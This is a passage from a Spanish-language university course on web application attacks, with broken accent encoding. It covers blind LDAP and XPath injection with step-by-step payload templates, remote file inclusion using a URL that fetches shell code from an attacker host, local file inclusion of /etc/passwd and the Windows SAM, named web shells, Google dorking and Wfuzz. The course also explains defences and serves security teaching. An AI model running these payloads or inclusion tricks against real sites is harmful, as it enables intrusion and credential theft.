En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

